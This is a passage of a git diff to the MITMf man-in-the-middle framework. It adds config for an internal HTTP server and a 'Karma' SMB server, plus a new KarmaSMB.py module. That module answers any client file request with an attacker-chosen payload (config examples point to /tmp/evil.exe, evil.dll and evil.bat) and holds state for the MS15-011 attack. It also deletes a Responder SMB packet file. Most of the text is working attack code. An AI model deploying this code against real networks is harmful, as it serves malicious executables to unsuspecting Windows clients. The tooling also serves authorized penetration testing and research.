diff --git a/config/mitmf.conf b/config/mitmf.conf index c6a4269..48b60f7 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -1,16 +1,10 @@ # -#MITMf configuration file +# MITMf configuration file # [MITMf] - # - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` - #(assuming you config file is in the default directory) - # - args='' - - #Required BeEF and Metasploit options + # Required BeEF and Metasploit options [[BeEF]] beefip = 127.0.0.1 beefport = 3000 @@ -19,37 +13,86 @@ [[Metasploit]] - msfport = 8080 #Port to start Metasploit's webserver on that will host exploits + msfport = 8080 # Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcpass = abc123 [[SMB]] # - #Here you can configure MITMf's internal SMB server + # Here you can configure MITMf's internal SMB server # - #Set a custom challenge + port = 445 + type = karma # Can be set to Normal or Karma + + # Set a custom challenge Challenge = 1122334455667788 + [[[Shares]]] # Only parsed if type = Normal + + # + # You can define shares here + # + + # [[[[Share1]]]] #Share name + # readonly = yes #Be very careful if you set this to no! + # path = /tmp #Share path + + # [[[[Share2]]]] + # readonly = yes + # path = /tmp + + [[[Karma]]] # Only parsed if type = Karma + + # + # Here you can configure the Karma-SMB server + # + + defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) + + # exe = /tmp/evil.exe + # dll = /tmp/evil.dll + # ini = /tmp/desktop.ini + # bat = /tmp/evil.bat + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # + + port = 80 + + [[[Paths]]] + + # + # Here you can define the content to deliver + # + + # Format is urlpath = filesystem path (urlpath can be a regular expression) + + # ".*" = "/var/www" + # "/test" = "/var/www2" + [[DNS]] # - #Here you can configure MITMf's internal DNS server + # Here you can configure MITMf's internal DNS server # - tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) - port = 53 #Port to listen on - ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) + tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 # Port to listen on + ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!) # - #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 - #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 # nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.0.2.1 + *.thesprawls.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -85,7 +128,7 @@ *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= # -#Plugin configuration starts here +# Plugin configuration starts here # [Spoof] diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py index 9cb9043..054975e 100644 --- a/core/servers/http/HTTPServer.py +++ b/core/servers/http/HTTPServer.py @@ -1,11 +1,46 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys import tornado.ioloop import tornado.web import threading -class HTTPServer: +from core.configwatcher import ConfigWatcher + +tornado_logger = logging.getLogger("tornado") +tornado_logger.propagate = False +formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +fileHandler = logging.FileHandler("./logs/mitmf.log") +streamHandler = logging.StreamHandler(sys.stdout) +fileHandler.setFormatter(formatter) +streamHandler.setFormatter(formatter) +tornado_logger.addHandler(fileHandler) +tornado_logger.addHandler(streamHandler) + +class HTTPServer(ConfigWatcher): _instance = None application = tornado.web.Application([]) + http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"]) @staticmethod def getInstance(): @@ -17,8 +52,31 @@ class HTTPServer: def addHandler(self, urlregex, handler, vhost=''): self.application.add_handlers(vhost, [(urlregex, handler)]) - def start(self, port=80): - self.application.listen(port) + def addStaticPathHandler(self, urlregex, path, vhost=''): + self.application.add_handlers(vhost, [(urlregex, {"static_path": path})]) + + def resetApplication(self): + self.application = tornado.web.Application([]) + + def parseConfig(self): + for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems(): + self.addStaticPathHandler(url, path) + + def onConfigChange(self): + self.resetApplication() + self.parseConfig() + + def start(self): + self.parseConfig() + self.application.listen(self.http_port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) t.setDaemon(True) t.start() + +class HTTPHandler(tornado.web.RequestHandler): + def get(self): + raise HTTPError(405) + + def post(self): + raise HTTPError(405) \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py new file mode 100644 index 0000000..3c7cd59 --- /dev/null +++ b/core/servers/smb/KarmaSMB.py @@ -0,0 +1,583 @@ +#!/usr/bin/python +# Copyright (c) 2015 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Karma SMB +# +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# Description: +# The idea of this script is to answer any file read request +# with a set of predefined contents based on the extension +# asked, regardless of the sharename and/or path. +# When executing this script w/o a config file the pathname +# file contents will be sent for every request. +# If a config file is specified, format should be this way: +# = +# for example: +# bat = /tmp/batchfile +# com = /tmp/comfile +# exe = /tmp/exefile +# +# The SMB2 support works with a caveat. If two different +# filenames at the same share are requested, the first +# one will work and the second one will not work if the request +# is performed right away. This seems related to the +# QUERY_DIRECTORY request, where we return the files available. +# In the first try, we return the file that was asked to open. +# In the second try, the client will NOT ask for another +# QUERY_DIRECTORY but will use the cached one. This time the new file +# is not there, so the client assumes it doesn't exist. +# After a few seconds, looks like the client cache is cleared and +# the operation works again. Further research is needed trying +# to avoid this from happening. +# +# SMB1 seems to be working fine on that scenario. +# +# ToDo: +# [ ] A lot of testing needed under different OSes. +# I'm still not sure how reliable this approach is. +# [ ] Add support for other SMB read commands. Right now just +# covering SMB_COM_NT_CREATE_ANDX +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're +# hosting. *CAREFUL!!!* +# + +import sys +import os +import argparse +import logging +import ntpath +import ConfigParser + +from impacket import LOG as logger +from impacket import smbserver, smb, version +import impacket.smb3structs as smb2 +from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ + STATUS_OBJECT_PATH_NOT_FOUND +from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ + getFileTime, queryPathInformation + +class KarmaSMBServer(): + def __init__(self, smb_challenge, smb_port, smb2Support = False): + self.server = 0 + self.defaultFile = None + self.extensions = {} + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) + smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','credentials_file','') + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','Logon server share') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # NETLOGON always needed + smbConfig.add_section('NETLOGON') + smbConfig.set('NETLOGON','comment','Logon server share') + smbConfig.set('NETLOGON','read only','no') + smbConfig.set('NETLOGON','share type','0') + smbConfig.set('NETLOGON','path','') + + # SYSVOL always needed + smbConfig.add_section('SYSVOL') + smbConfig.set('SYSVOL','comment','') + smbConfig.set('SYSVOL','read only','no') + smbConfig.set('SYSVOL','share type','0') + smbConfig.set('SYSVOL','path','') + + if smb2Support: + smbConfig.set("global", "SMB2Support", "True") + + self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server.processConfigFile() + + # Unregistering some dangerous and unwanted commands + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) + + self.server.unregisterSmb2Command(smb2.SMB2_WRITE) + + self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) + self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) + self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) + self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) + + # And the same for SMB2 + self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) + self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) + self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) + self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) + self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) + + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WONT (specially OSX) + # ask for shares using MS-RAP. + + self.__srvsServer = SRVSServer() + self.__srvsServer.daemon = True + self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) + + def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = STATUS_SUCCESS + findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) + origFileName = os.path.basename(origPathName) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + if (len(data) > 0): + findFirst2Data = smb.SMBFindFirst2_Data(data) + else: + findFirst2Data = '' + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + + # 2. We call the normal findFirst2 call, but with our targetFile + searchResult, searchCount, errorCode = findFirst2(path, + targetFile, + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'] ) + + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + #i[1].dump() + try: + # 3. And we restore the original filename requested ;) + i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) + except: + pass + + data = i[1].getData() + lenData = len(data) + if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = connData['SIDs'].keys()[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break + else: + searchCount +=1 + respData += data + totalData += lenData + + + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + + #ntCreateAndXParameters.dump() + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls (e.g. SMB_COM_WRITE) + createOptions = ntCreateAndXParameters['CreateOptions'] + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [respSMBCommand], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + # 2. We change the filename in the request for our targetFile + ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) + SMBCommand['Data'] = str(ntCreateAndXData) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + + # 3. We call the original call with our modified data + return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) + + def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + # The trick we play here is that Windows clients first ask for the file + # and then it asks for the directory containing the file. + # It is important to answer the right questions for the attack to work + + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = 0 + + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + if len(data) > 0: + queryPathInfoData = smb.SMBQueryPathInformation_Data(data) + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = '' + try: + origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) + origPathName = os.path.normpath(origPathName.replace('\\','/')) + + if connData.has_key('MS15011') is False: + connData['MS15011'] = {} + + smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) + if connData['MS15011'].has_key(origPathName) or origPathName == '.': + # We already processed this entry, now it's asking for a directory + infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) + else: + # First time asked, asking for the file + infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) + connData['MS15011'][os.path.dirname(origPathName)] = infoRecord + except Exception, e: + #import traceback + #traceback.print_exc() + smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + + if infoRecord is not None: + respParameters = smb.SMBQueryPathInformationResponse_Parameters() + respData = infoRecord + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smb2Read(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + connData['MS15011']['StopConnection'] = True + smbServer.setConnectionData(connId, connData) + return self.origsmb2Read(connId, smbServer, recvPacket) + + def smb2Close(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + # We're closing the connection trying to flush the client's + # cache. + if connData['MS15011']['StopConnection'] == True: + return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED + return self.origsmb2Close(connId, smbServer, recvPacket) + + def smb2Create(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls + createOptions = ntCreateRequest['CreateOptions'] + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [smb2.SMB2Error()], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + # Are we being asked for a directory? + if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + else: + targetFile = '/' + + # 2. We change the filename in the request for our targetFile + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + ntCreateRequest['NameLength'] = len(targetFile)*2 + recvPacket['Data'] = str(ntCreateRequest) + + # 3. We call the original call with our modified data + return self.origsmb2Create(connId, smbServer, recvPacket) + + def smb2QueryDirectory(self, connId, smbServer, recvPacket): + # Windows clients with SMB2 will also perform a QueryDirectory + # expecting to get the filename asked. So we deliver it :) + connData = smbServer.getConnectionData(connId) + + respSMBCommand = smb2.SMB2QueryDirectory_Response() + queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + + errorCode = 0xff + respSMBCommand['Buffer'] = '\x00' + + errorCode = STATUS_SUCCESS + + #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: + # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + + if connData['MS15011']['FindDone'] is True: + + connData['MS15011']['FindDone'] = False + smbServer.setConnectionData(connId, connData) + return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES + else: + origName, targetFile = connData['MS15011']['FileData'] + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) + + infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + + infoRecord['EaSize'] = 0 + infoRecord['EndOfFile'] = size + infoRecord['AllocationSize'] = size + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + infoRecord['ShortName'] = '\x00'*24 + #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') + infoRecord['FileName'] = origName.encode('utf-16le') + padLen = (8-(len(infoRecord) % 8)) % 8 + infoRecord['NextEntryOffset'] = 0 + + respSMBCommand['OutputBufferOffset'] = 0x48 + respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) + respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen + connData['MS15011']['FindDone'] = True + + smbServer.setConnectionData(connId, connData) + return [respSMBCommand], None, errorCode + + def smb2TreeConnect(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + respPacket = smb2.SMB2Packet() + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = recvPacket['Command'] + respPacket['SessionID'] = connData['Uid'] + respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['MessageID'] = recvPacket['MessageID'] + respPacket['TreeID'] = recvPacket['TreeID'] + + respSMBCommand = smb2.SMB2TreeConnect_Response() + + treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) + + errorCode = STATUS_SUCCESS + + ## Process here the request, does the share exist? + path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] + UNCOrShare = path.decode('utf-16le') + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + #share = searchShare(connId, path.upper(), smbServer) + connData['MS15011'] = {} + connData['MS15011']['FindDone'] = False + connData['MS15011']['StopConnection'] = False + share = {} + if share is not None: + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + respPacket['TreeID'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + else: + smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) + errorCode = STATUS_OBJECT_PATH_NOT_FOUND + respPacket['Status'] = errorCode + ## + + if path == 'IPC$': + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE + respSMBCommand['ShareFlags'] = 0x30 + else: + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK + respSMBCommand['ShareFlags'] = 0x0 + + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaximalAccess'] = 0x011f01ff + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], errorCode + + def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + resp = smb.NewSMBPacket() + resp['Flags1'] = smb.SMB.FLAGS1_REPLY + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + + resp['Tid'] = recvPacket['Tid'] + resp['Mid'] = recvPacket['Mid'] + resp['Pid'] = connData['Pid'] + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() + + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + + if treeConnectAndXParameters['Flags'] & 0x8: + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + + treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + + errorCode = STATUS_SUCCESS + + UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) + #share = searchShare(connId, path, smbServer) + share = {} + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + resp['Tid'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + + respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS + + if path == 'IPC$': + respData['Service'] = 'IPC' + else: + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + resp['Uid'] = connData['Uid'] + resp.addCommand(respSMBCommand) + smbServer.setConnectionData(connId, connData) + + return None, [resp], errorCode + + def start(self): + self.server.serve_forever() + + def setDefaultFile(self, filename): + self.defaultFile = filename + + def setExtensionsConfig(self, filename): + for line in filename.readlines(): + line = line.strip('\r\n ') + if line.startswith('#') is not True and len(line) > 0: + extension, pathName = line.split('=') + self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) diff --git a/core/servers/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py deleted file mode 100644 index a1d3fcb..0000000 --- a/core/servers/smb/SMBPackets.py +++ /dev/null @@ -1,475 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - - -################################################################################## -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) -################################################################################## -#SMB Negotiate Answer LM packet. -class SMBNegoAnsLM(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x41\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfc\x3e\x01\x00"), - ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("Srvtimezone", "\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", ""), - ("Domain", "SMB"), - ("DomainNull", 